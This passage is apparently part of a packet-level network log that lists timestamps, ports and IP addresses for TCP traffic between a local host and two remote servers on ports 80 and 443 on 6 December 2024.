Dec 6, 2024 22:09:06.811779022 CET	49837	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:06.811928034 CET	49837	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:06.811937094 CET	443	49837	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:06.813920975 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.813983917 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.814145088 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.814188004 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.814543009 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.814589024 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.815000057 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.815045118 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.815457106 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.815500021 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.815890074 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.815937996 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.817174911 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.817241907 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.817487955 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.817533016 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.817933083 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.817979097 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.818412066 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.818423986 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.818461895 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.819317102 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.819369078 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.819746971 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.819803953 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.820159912 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.820199013 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.820944071 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.820993900 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.821871042 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.821928024 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.822242975 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.822295904 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.822649956 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.822698116 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.823110104 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.823122025 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.823157072 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.823177099 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.823970079 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.824026108 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.824405909 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.824459076 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.825772047 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.825784922 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.825830936 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.825840950 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.826631069 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.826642036 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.826690912 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.827513933 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.827524900 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.827570915 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.828377962 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.828389883 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.828437090 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.830208063 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.830219984 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.830276966 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.830984116 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.830996037 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.831047058 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.831878901 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.831891060 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.831929922 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.831950903 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.832767963 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.832779884 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.832834959 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.833631039 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.833647013 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.833683968 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.833707094 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.835372925 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.835386038 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.835459948 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.836246014 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.836257935 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.836297989 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.837093115 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.837112904 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.837157011 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.838025093 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.838035107 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.838079929 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.839826107 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.839837074 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.839881897 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.840652943 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.840665102 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.840699911 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.841530085 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.841542959 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.841578960 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.841592073 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.842410088 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.842426062 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.842457056 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.842483997 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.844228029 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.844244003 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.844279051 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.844305992 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.845026016 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.845036983 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.845089912 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.845936060 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.845947027 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.845999002 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.847862959 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.847925901 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.848829031 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.848874092 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.849826097 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.849874973 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.850780010 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.850826025 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.851767063 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.851778984 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.851823092 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.852705956 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.852720976 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.852763891 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.855649948 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.855662107 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.855700016 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.855712891 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.856628895 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.856736898 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.857593060 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.857604027 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.857649088 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.857660055 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.858560085 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.858572006 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.858619928 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.859513044 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.859566927 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.860496998 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.860508919 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.860554934 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.860565901 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.862437010 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.862448931 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.862485886 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.862494946 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.863475084 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.863800049 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.864388943 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.864445925 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.865396023 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.865453959 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.866323948 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.866336107 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.866347075 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.866378069 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.866388083 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.868257046 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.868274927 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.868310928 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.868340969 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.870299101 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.870311975 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.870348930 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.870368958 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.871241093 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.871279001 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.872158051 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.872209072 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.873300076 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.873347998 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.874116898 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.874169111 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.875102043 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.875112057 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.875140905 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.875164032 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.877969980 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.877986908 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.878014088 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.878024101 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.878974915 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.878990889 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.879029989 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.879040003 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.879981995 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.880038977 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.880922079 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.880964994 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.881908894 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.881921053 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.881932974 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.881958961 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.881974936 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.006161928 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.006294966 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.006354094 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.006431103 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.006486893 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.006486893 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.006877899 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.006930113 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.007487059 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.007549047 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.007894993 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.007940054 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.008493900 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.008543968 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.008847952 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.008896112 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.009339094 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.009392023 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.009675980 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.009717941 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.010229111 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.010279894 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.010571957 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.010615110 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.011245966 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.011297941 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.011475086 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.011513948 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.012250900 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.012299061 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.012598991 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.012645006 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.013639927 CET	443	49834	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.014240980 CET	443	49833	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.014334917 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.014347076 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.014390945 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.014401913 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.015225887 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.015244007 CET	443	49833	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.015280008 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.015299082 CET	443	49833	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.015300989 CET	49833	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.015347004 CET	49833	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.015722036 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.015774012 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.015840054 CET	49833	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.015846968 CET	443	49833	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.015883923 CET	49833	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.015888929 CET	443	49833	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.016186953 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.016199112 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.016225100 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.016237974 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.017062902 CET	443	49834	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.017105103 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.017127037 CET	49834	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.017142057 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.017546892 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.017591953 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.017995119 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.018004894 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.018021107 CET	49834	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.018038988 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.018044949 CET	443	49834	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.018070936 CET	49834	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.018075943 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.018078089 CET	443	49834	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.018824100 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.018872023 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.019259930 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.019306898 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.019694090 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.019742012 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.020107031 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.020147085 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.020544052 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.020586014 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.020965099 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.021007061 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.021100998 CET	49838	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.021147966 CET	443	49838	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.021208048 CET	49838	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.021469116 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.021512985 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.021811008 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.021851063 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.022103071 CET	49838	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.022115946 CET	443	49838	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.022538900 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.022583961 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.022752047 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.022794008 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.023209095 CET	49839	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.023228884 CET	443	49839	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.023279905 CET	49839	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.023550987 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.023570061 CET	49839	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.023581982 CET	443	49839	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.023597956 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.023752928 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.023791075 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.024554968 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.024621010 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.024811029 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.024862051 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.025578976 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.025633097 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.025789022 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.025851965 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.026571989 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.026619911 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.026812077 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.026855946 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.027601957 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.027661085 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.027820110 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.027859926 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.028639078 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.028696060 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.028860092 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.028902054 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.029664993 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.029717922 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.029902935 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.029943943 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.030666113 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.030715942 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.030872107 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.030914068 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.031709909 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.031752110 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.031913996 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.031948090 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.032704115 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.032756090 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.032938004 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.032975912 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.033832073 CET	443	49835	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.034013987 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.034066916 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.034429073 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.034473896 CET	49830	80	192.168.2.7	185.215.113.16
